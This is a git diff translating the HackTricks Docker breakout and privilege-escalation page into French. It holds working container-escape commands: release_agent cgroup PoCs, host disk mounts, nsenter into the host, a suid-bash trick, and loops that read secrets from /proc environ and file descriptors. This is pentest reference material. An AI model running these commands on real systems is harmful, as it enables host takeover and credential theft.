+Étant donné que c'est l'utilisation accumulée du CPU sur toute la durée de vie du cgroup, vous pouvez voir comment un service consomme du temps processeur même s'il génère de nombreux sous-processus qui finissent par se terminer. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index de5ff088b..9d0660fac 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -1,46 +1,43 @@ -# Docker Breakout / Privilege Escalation +# Évasion de Docker / Élévation de privilèges
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Automatic Enumeration & Escape +## Énumération et évasion automatiques -* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -* [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -* [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -* [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image +* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs** +* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez et même essayer de s'échapper automatiquement** +* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'en échapper +* [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs +* [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenues dans le logiciel installé dans l'image -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## Évasion de la socket Docker montée +Si vous trouvez que la **socket Docker est montée** à l'intérieur du conteneur Docker, vous pourrez vous en échapper.\ +Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +Dans ce cas, vous pouvez utiliser les commandes docker régulières pour communiquer avec le démon docker: ```bash #List images to use one docker images @@ -54,43 +51,40 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` - {% hint style="info" %} -In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** +Dans le cas où le **socket docker est dans un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///path/to/docker.sock`** {% endhint %} -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. +Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`. {% hint style="info" %} -Additionally, pay attention to the runtime sockets of other high-level runtimes: +De plus, faites attention aux sockets d'exécution des autres runtimes de haut niveau : -* dockershim: `unix:///var/run/dockershim.sock` -* containerd: `unix:///run/containerd/containerd.sock` -* cri-o: `unix:///var/run/crio/crio.sock` -* frakti: `unix:///var/run/frakti.sock` -* rktlet: `unix:///var/run/rktlet.sock` +* dockershim : `unix:///var/run/dockershim.sock` +* containerd : `unix:///run/containerd/containerd.sock` +* cri-o : `unix:///var/run/crio/crio.sock` +* frakti : `unix:///var/run/frakti.sock` +* rktlet : `unix:///var/run/rktlet.sock` * ... {% endhint %} -## Capabilities Abuse Escape +## Évasion d'abus de capacités -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +Vous devez vérifier les capacités du conteneur, s'il possède l'une des capacités suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Vous pouvez vérifier les capacités actuelles du conteneur en utilisant **les outils automatiques précédemment mentionnés** ou : ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +Sur la page suivante, vous pouvez **en savoir plus sur les capacités de Linux** et comment les abuser pour échapper/escalader les privilèges : {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} -## Escape from Privileged Containers +## Échapper des conteneurs privilégiés -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +Un conteneur privilégié peut être créé avec le drapeau `--privileged` ou en désactivant des défenses spécifiques : * `--cap-add=ALL` * `--security-opt apparmor=unconfined` @@ -102,7 +96,7 @@ A privileged container can be created with the flag `--privileged` or disabling * `--cgroupns=host` * `Mount /dev` -The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page: +Le drapeau `--privileged` introduit des problèmes de sécurité importants, et l'exploit repose sur le lancement d'un conteneur Docker avec cette option activée. Lorsque ce drapeau est utilisé, les conteneurs ont un accès complet à tous les périphériques et ne sont pas restreints par seccomp, AppArmor et les capacités Linux. Vous pouvez **lire tous les effets de `--privileged`** sur cette page : {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) @@ -110,43 +104,36 @@ The `--privileged` flag introduces significant security concerns, and the exploi ### Privileged + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +Avec ces autorisations, vous pouvez simplement **passer à l'espace de noms d'un processus s'exécutant sur l'hôte en tant que root** comme init (pid:1) en exécutant simplement : `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Testez-le dans un conteneur en exécutant : ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` +### Privilégié -### Privileged - -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. - -Test the following bypasses in a container executing: +Avec le drapeau privilégié, vous pouvez essayer d'**accéder au disque de l'hôte** ou essayer de **s'échapper en abusant de release\_agent ou d'autres échappatoires**. +Testez les contournements suivants dans un conteneur en exécutant: ```bash docker run --rm -it --privileged ubuntu bash ``` +#### Montage de disque - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +Les conteneurs Docker bien configurés n'autorisent pas les commandes telles que **fdisk -l**. Cependant, sur une commande Docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des majuscules est spécifié, il est possible d'obtenir les privilèges pour voir le disque hôte. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +Ainsi, pour prendre le contrôle de la machine hôte, c'est trivial : ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +Et voilà ! Vous pouvez maintenant accéder au système de fichiers de l'hôte car il est monté dans le dossier `/mnt/hola`. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### Montage de disque - Poc2 +Dans le conteneur, un attaquant peut tenter d'accéder davantage au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous exploitez ce vecteur d'attaque : ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -167,10 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` +#### Évasion de privilèges en exploitant l'agent de sortie existant ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 -#### Privileged Escape Abusing existent release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - -{% code title="Initial PoC" %} +{% code title="PoC initial" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -204,11 +190,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -{% endcode %} +#### Évasion de privilèges en abusant de l'agent de sortie créé ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 -#### Privileged Escape Abusing created release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - -{% code title="Second PoC" %} +{% code title="Deuxième PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -252,20 +236,19 @@ cat /output ``` {% endcode %} -Find an **explanation of the technique** in: +Trouvez une **explication de la technique** dans: {% content-ref url="docker-release_agent-cgroups-escape.md" %} [docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} -#### Privileged Escape Abusing release\_agent without known the relative path - PoC3 +#### Évasion de privilèges en exploitant release\_agent sans connaître le chemin relatif - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers de l'hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) {% endcontent-ref %} - ```bash #!/bin/sh @@ -325,9 +308,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -355,37 +336,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### Évasion de privilèges en abusant des montages sensibles -#### Privileged Escape Abusing Sensitive Mounts +Il existe plusieurs fichiers qui peuvent être montés et qui donnent **des informations sur l'hôte sous-jacent**. Certains d'entre eux peuvent même indiquer **quelque chose à exécuter par l'hôte lorsqu'il se passe quelque chose** (ce qui permettra à un attaquant de s'échapper du conteneur).\ +L'abus de ces fichiers peut permettre que : -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: - -* release\_agent (already covered before) +* release\_agent (déjà couvert auparavant) * [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) * [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) * [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) * [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +Cependant, vous pouvez trouver **d'autres fichiers sensibles** à vérifier sur cette page : {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) {% endcontent-ref %} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… +### Montages arbitraires +À plusieurs occasions, vous constaterez que le **conteneur a un volume monté depuis l'hôte**. Si ce volume n'a pas été correctement configuré, vous pourrez peut-être **accéder/modifier des données sensibles** : lire des secrets, changer les clés autorisées ssh... ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### Élévation de privilèges avec 2 shells et un montage de l'hôte -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +Si vous avez accès en tant que **root à l'intérieur d'un conteneur** qui a un dossier de l'hôte monté et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte** et avez un accès en lecture sur le dossier monté.\ +Vous pouvez créer un **fichier bash suid** dans le **dossier monté** à l'intérieur du **conteneur** et **l'exécuter depuis l'hôte** pour une élévation de privilèges. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -393,17 +370,15 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### Élévation de privilèges avec 2 shells -### Privilege Escalation with 2 shells +Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez utiliser les deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphérique de bloc**. Les fichiers de périphérique sont des fichiers spéciaux qui sont utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique de bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**. -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\ -However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker veille à ce que les périphériques de bloc **ne puissent pas être utilisés de manière abusive à partir du conteneur** en définissant une politique cgroup sur le conteneur qui bloque la lecture et l'écriture des périphériques de bloc.\ +Cependant, si un périphérique de bloc est **créé à l'intérieur du conteneur, il peut être accédé** via le dossier /proc/PID/root/ par quelqu'un **à l'extérieur du conteneur**, la limitation étant que le **processus doit être détenu par le même utilisateur** à l'extérieur et à l'intérieur du conteneur. +Exemple d'**exploitation** à partir de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -439,19 +414,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +Si vous pouvez accéder aux processus de l'hôte, vous pourrez accéder à de nombreuses informations sensibles stockées dans ces processus. Exécutez le laboratoire de test: ``` docker run --rm -it --pid=host ubuntu bash ``` +Par exemple, vous pourrez lister les processus en utilisant quelque chose comme `ps auxn` et rechercher des détails sensibles dans les commandes. -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +Ensuite, comme vous pouvez **accéder à chaque processus de l'hôte dans /proc/, vous pouvez simplement voler leurs secrets d'environnement** en exécutant: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -460,9 +431,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +Vous pouvez également **accéder aux descripteurs de fichiers d'autres processus et lire leurs fichiers ouverts**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -472,94 +441,87 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +Vous pouvez également **arrêter des processus et causer un DoS**. {% hint style="warning" %} -If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +Si vous avez d'une manière ou d'une autre un **accès privilégié sur un processus en dehors du conteneur**, vous pouvez exécuter quelque chose comme `nsenter --target --all` ou `nsenter --target --mount --net --pid --cgroup` pour **exécuter un shell avec les mêmes restrictions ns** (espérons-le aucune) **que ce processus.** {% endhint %} ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +Si un conteneur est configuré avec le pilote de réseau Docker [host (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace de noms réseau de l'hôte) et le conteneur ne reçoit pas sa propre adresse IP. En d'autres termes, **le conteneur lie tous les services directement à l'adresse IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`. -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +Par exemple, vous pouvez utiliser cela pour **sniffer et même falsifier le trafic** entre l'hôte et l'instance de métadonnées. -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. +Comme dans les exemples suivants : -Like in the following examples: +* [Writeup: Comment contacter Google SRE : Obtenir un shell dans Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) +* [Metadata service MITM permet une élévation de privilèges root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) -* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) - -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access): +Vous pourrez également accéder aux **services réseau liés à localhost** à l'intérieur de l'hôte ou même accéder aux **permissions de métadonnées du nœud** (qui peuvent être différentes de celles qu'un conteneur peut accéder) : {% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %} [broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/) {% endcontent-ref %} ### hostIPC - ``` docker run --rm -it --ipc=host ubuntu bash ``` +Si vous avez seulement `hostIPC=true`, vous ne pourrez probablement pas faire grand-chose. Si un processus sur l'hôte ou tout processus dans un autre pod utilise les **mécanismes de communication inter-processus** de l'hôte (mémoire partagée, tableaux de sémaphores, files de messages, etc.), vous pourrez lire/écrire sur ces mêmes mécanismes. Le premier endroit où vous voudrez regarder est `/dev/shm`, car il est partagé entre tous les pods avec `hostIPC=true` et l'hôte. Vous voudrez également vérifier les autres mécanismes IPC avec `ipcs`. -If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`. +* **Inspecter /dev/shm** - Recherchez les fichiers dans cet emplacement de mémoire partagée : `ls -la /dev/shm` +* **Inspecter les installations IPC existantes** - Vous pouvez vérifier si des installations IPC sont utilisées avec `/usr/bin/ipcs`. Vérifiez-le avec : `ipcs -a` -* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### Récupérer les capacités +Si l'appel système **`unshare`** n'est pas interdit, vous pouvez récupérer toutes les capacités en exécutant : ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### Abus de l'espace de noms utilisateur via un lien symbolique -### User namespace abuse via symlink - -The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +La deuxième technique expliquée dans l'article [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur, pour affecter les fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers). ![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## CVEs -### Runc exploit (CVE-2019-5736) +### Exploit Runc (CVE-2019-5736) -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. +Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en sortant d'un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** **à partir d'un conteneur**, de sorte que toute personne exécutant docker exec peut déclencher la charge utile. -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +Modifiez la charge utile en conséquence et construisez main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur Docker pour l'exécution.\ +Lors de l'exécution, dès qu'il affiche `[+] Overwritten /bin/sh successfully`, vous devez exécuter ce qui suit depuis la machine hôte : `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +Cela déclenchera la charge utile qui est présente dans le fichier main.go. -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +Pour plus d'informations : [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +Il existe d'autres CVE auxquels le conteneur peut être vulnérable, vous pouvez trouver une liste dans [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} -## Docker Custom Escape +## Évasion personnalisée de Docker -### Docker Escape Surface +### Surface d'évasion Docker -* **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -* **Root user**: By default the user running the process is the root user (however its privileges are limited). -* **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +* **Espaces de noms:** Le processus doit être **complètement séparé des autres processus** via des espaces de noms, donc nous ne pouvons pas échapper à l'interaction avec d'autres processus en raison des espaces de noms (par défaut, ne peut pas communiquer via IPC, sockets Unix, services réseau, D-Bus, `/proc` d'autres processus). +* **Utilisateur root**: Par défaut, l'utilisateur exécutant le processus est l'utilisateur root (mais ses privilèges sont limités). +* **Capacités**: Docker laisse les capacités suivantes : `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Appels système**: Ce sont les appels système que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres appels système pourraient être utilisés pour essayer de s'échapper. {% tabs %} {% tab title="x64 syscalls" %} @@ -585,7 +547,149 @@ There are other CVEs the container can be vulnerable too, you can find a list in ``` {% endtab %} -{% tab title="arm64 syscalls" %} +{% tab title="AppArmor" %} + +## AppArmor + +AppArmor is a Linux security module that provides Mandatory Access Control (MAC) for programs. It is similar to SELinux but with a simpler syntax. AppArmor profiles can be used to restrict the actions that a container can perform. + +### 